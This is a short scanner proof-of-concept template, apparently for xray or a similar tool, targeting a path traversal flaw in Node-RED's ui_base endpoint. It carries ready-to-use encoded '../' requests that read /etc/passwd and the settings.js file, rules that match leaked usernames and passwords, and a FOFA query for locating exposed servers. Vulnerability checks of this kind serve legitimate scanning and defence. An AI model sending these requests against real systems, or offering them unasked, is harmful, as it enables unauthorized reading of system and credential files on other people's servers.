node-red-ui-base-anyfile-read: Node-RED ui_base 任意文件读取漏洞

id: node-red-ui-base-anyfile-read

info:
  name: Node-RED ui_base 任意文件读取漏洞
  author: daffainfo
  severity: critical
  verified: true
  description: |
    Node-RED 在/nodes/ui_base.js中，URL与'/ui_base/js/*'匹配，然后传递给path.join，缺乏对最终路径的验证会导致路径遍历漏洞，可以利用这个漏洞读取服务器上的敏感数据，比如settings.js
    fofa-query: title="Node-RED"
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Node-RED%20ui_base%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md

rules:
  r0:
    request:
      method: GET
      path: /ui_base/js/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
    expression: response.status == 200 && "root:.*?:[0-9]*:[0-9]*:".bmatches(response.body)
  r1:
    request:
      method: GET
      path: /ui_base/js/..%2f..%2f..%2f..%2fsettings.js
    expression: response.status == 200 && response.body.bcontains(b'username:') && response.body.bcontains(b'password:')
expression: r0() || r1()